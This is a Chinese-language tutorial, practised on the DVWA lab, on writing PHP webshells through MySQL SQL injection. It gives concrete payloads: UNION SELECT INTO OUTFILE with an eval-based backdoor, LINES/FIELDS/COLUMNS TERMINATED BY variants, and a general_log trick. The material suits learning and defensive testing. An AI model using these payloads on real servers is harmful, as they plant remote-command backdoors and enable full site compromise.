前言
在所有常用的关系数据库管理系统中均包含内置的向服务器文件系统写文件的功能,通过这些内置的功能,我们可以将自己的webshell写目录或文件进去
写入webshell条件
1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径
2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作
3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到
简单点说就是
1.select into outfile方法可用(允许导出文件)
2.我们需要知道网站所在的绝对路径
3.我们要有足够的权限
传统的SQL语句写入webshell
通过SQL注入select into outfile实现,如:
1’ union select 1,’<?php eval($_POST[a]);?>’INTO OUTFILE ‘/var/www/tmp/a.php’#
这里我们使用dvwa的low级别,直接找到注入点,开始爆出网站路径
再输入框中输入1' union select 'x','x' into outfile 'xx' --
可以看到没有爆出来,反而提示secure_file_priv无法执行
查看原因:在mysql命令行中输入命令:show variables like '%priv%';
原来是只对c盘导出,此时是在e盘,因此最好修改其值为空,从而达到不受限制
解决方法:打开phpstudy下的my.ini进行修改,如果存在让secure_file_priv=” ”即可,不存在加上即可
保存后重启mysql服务,再次访问
成功爆出网站绝对路径,接下来利用sql注入写shell,再输入框中
命令:1' union select "<?php @eval($_GET['cmd'])?>","hello admin" into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\shell.php' --
访问写入的文件
成功写入
写入Webshell的几种方式
1.union select写入
这是最常见的写入方式,union跟select into outfile,将一句话写入shell.php,仅适用于联合注入(演示如上)
条件:secure_file_priv支持web目录文件导出,数据库File权限,获取物理路径
命令:1' union select 1,"<?php @eval($_GET['cmd'])?>" into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php' --
2.Lines terminated by写入
当mysql注入点为盲注或报错,Union select写入是不能利用的,那么可以通过分隔符写入,SQLMAP的–os-shell命令,所采用的就是这种方式
条件:secure_file_priv支持web目录文件导出,数据库File权限,获取物理路径
命令:1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\321.php' lines terminated by '<?php phpinfo(); ?>'--
注入原理:通过select语句查询的内容写入文件,也就是1’ into outfile 'E:\phpStudy\PHPTutorial\WWW\DVWA-master\aaa.php’这样写的原因,然后利用lines terminated by语句进行拼接,拼接后面的webshell内容
3.lines starting by写入
命令:1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\123.php' lines starting by '<?php phpinfo() ?>'--
注入原理:利用lines starting by语句进行拼接,拼接后面的webshell内容,lines starting by可以理解成以每行开始的位置添加xx语句
4.fields terminated by写入
命令:1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\kuku.php' fields terminated by '<?php phpinfo() ?>'--
注入原理:利用fields terminated by语句进行拼接,拼接后面的webshell内容,fields terminated by可以理解为以每个字段的位置添加xx内容
5.COLUMNS terminated by写入
命令:1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\hao.php' COLUMNS terminated by '<?php phpinfo() ?>'--
注入原理:利用COLUMNS terminated by语句进行拼接,拼接后面的webshell内容,COLUMNS terminated by可以理解为以每个字段的位置添加xx内容
6.利用log写入
新版本的MYSQL设置了导出文件的路径,很难在获取webshell过程中去修改配置的文件,无法通过使用select into outfile来写入一句话,这时我们可以通过修改MYSQL的log文件来获取Webshell
条件:数据库用户需具备Super和File服务器的权限,获取物理路径
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/phpStudy/PHPTutorial/WWW/DVWA-master/evil.php'; #设置日志目录为shell地址
select '<?php phpinfo() ?>' #写入shell
set global general_log=off; #关闭general log模式